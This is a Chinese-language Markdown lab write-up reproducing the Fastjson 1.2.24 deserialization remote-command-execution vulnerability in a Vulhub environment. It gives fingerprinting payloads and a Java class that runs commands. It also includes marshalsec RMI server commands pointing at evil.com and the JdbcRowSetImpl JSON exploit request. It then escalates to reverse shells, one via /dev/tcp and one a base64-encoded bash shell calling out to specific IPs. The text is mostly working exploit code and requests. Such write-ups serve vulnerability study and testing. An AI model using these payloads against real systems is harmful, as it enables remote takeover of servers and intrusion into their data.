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188 lines
5.4 KiB
Markdown
188 lines
5.4 KiB
Markdown
# Fastjson 1.2.24 反序列化导致任意命令执行漏洞
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## 漏洞描述
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Fastjson 在解析 json 的过程中，支持使用 autoType 来实例化某一个具体的类，并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。
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参考资料：
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- https://www.freebuf.com/vuls/208339.html
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- [http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/](http://xxlegend.com/2017/04/29/title- fastjson 远程反序列化 poc 的构造和分析/)
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## 环境搭建
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Vulhub 运行测试环境：
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```
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docker-compose up -d
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```
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环境运行后，访问 `http://your-ip:8090` 即可看到 JSON 格式的输出。
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我们向这个地址 POST 一个 JSON 对象，即可更新服务端的信息：
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```
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curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
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```
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## 如何判断一个站点是否存在 Fastjson？
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- 参考阅读：https://zeo.cool/2020/07/04/%E7%BA%A2%E9%98%9F%E6%AD%A6%E5%99%A8%E5%BA%93!fastjson%E5%B0%8F%E4%BA%8E1.2.68%E5%85%A8%E6%BC%8F%E6%B4%9ERCE%E5%88%A9%E7%94%A8exp/
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**方式 1 响应时间**
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正常数据响应时间（29 毫秒）：
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存在 Fastjson 时，16 进制数据响应时间明显变长（396 毫秒）：
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**方式 2 DNSlog**
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最新版本 1.2.67 依然可以通过 dnslog 判断后端是否使用 fastjson
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```
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{"@type":"java.net.Inet4Address","val":"dnslog"}
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{"@type":"java.net.Inet6Address","val":"dnslog"}
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```
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## 漏洞复现
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因为目标环境是 Java 8u102，没有 `com.sun.jndi.rmi.object.trustURLCodebase` 的限制，我们可以使用 `com.sun.rowset.JdbcRowSetImpl` 的利用链，借助 JNDI 注入来执行命令。
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首先编译并上传命令执行代码，如 `http://evil.com/TouchFile.class`：
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执行 `javac TouchFile.java`，生成 `TouchFile.class`。
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```java
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// javac TouchFile.java
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import java.lang.Runtime;
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import java.lang.Process;
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public class TouchFile {
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static {
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try {
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Runtime rt = Runtime.getRuntime();
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String[] commands = {"touch", "/tmp/success"};
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Process pc = rt.exec(commands);
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pc.waitFor();
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} catch (Exception e) {
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// do nothing
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}
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}
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}
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```
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通过 python 搭建一个临时的 web 服务，该服务是为了接收 LDAP 服务重定向请求，需要在 payload 的目录下开启此 web 服务，这样才可以访问到 payload 文件。此处 payload 文件即 `TouchFile.class`。
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```
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python -m http.server 8888
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```
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然后我们借助 [marshalsec](https://github.com/mbechler/marshalsec) 项目，启动一个 RMI 服务器，监听 9999 端口，并制定加载远程类 `TouchFile.class`。
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```
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$ git clone https://github.com/mbechler/marshalsec.git
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$ mvn clean package -DskipTests
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$ cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar /home/kali/vulnerability/vulhub/fastjson/1.2.24-rce
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```
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```shell
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$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com:8888/#TouchFile" 9999
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```
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向靶场服务器发送 Payload，带上 RMI 的地址，注意 Content-Type 应该是 `application/json`：
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```
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POST / HTTP/1.1
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Host: your-ip:8090
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/json
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Content-Length: 160
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{
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"b":{
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"@type":"com.sun.rowset.JdbcRowSetImpl",
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"dataSourceName":"rmi://evil.com:9999/TouchFile",
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"autoCommit":true
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}
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}
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```
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可见，命令 `touch /tmp/success` 已成功执行：
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### 反弹 shell
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同样，执行 `javac TouchFile.java`，生成 `TouchFile.class`。
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```java
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// javac TouchFile.java
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import java.lang.Runtime;
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import java.lang.Process;
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public class TouchFile {
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static {
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try {
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Runtime rt = Runtime.getRuntime();
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String[] commands = {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.174.128/9999;cat <&5 | while read line; do $line 2>&5 >&5; done"};
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Process pc = rt.exec(commands);
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pc.waitFor();
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} catch (Exception e) {
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// do nothing
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}
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}
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}
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```
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也可以使用 bash base64 的方式：
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```java
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String[] commands = {"bash", "-c","{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTQ3LjEyNy85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"}
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```
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启动一个 RMI 服务器，监听 8888 端口，并制定加载远程类 `TouchFile.class`：
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```
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$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 8888
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```
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发送 POST 请求包：
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```
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POST / HTTP/1.1
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Host: 192.168.174.128:8090
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/json
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Content-Length: 165
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{
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"b":{
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"@type":"com.sun.rowset.JdbcRowSetImpl",
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"dataSourceName":"rmi://192.168.174.128:8888/TouchFile",
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"autoCommit":true
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}
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}
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```
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监听 9999 端口，接收反弹 shell：
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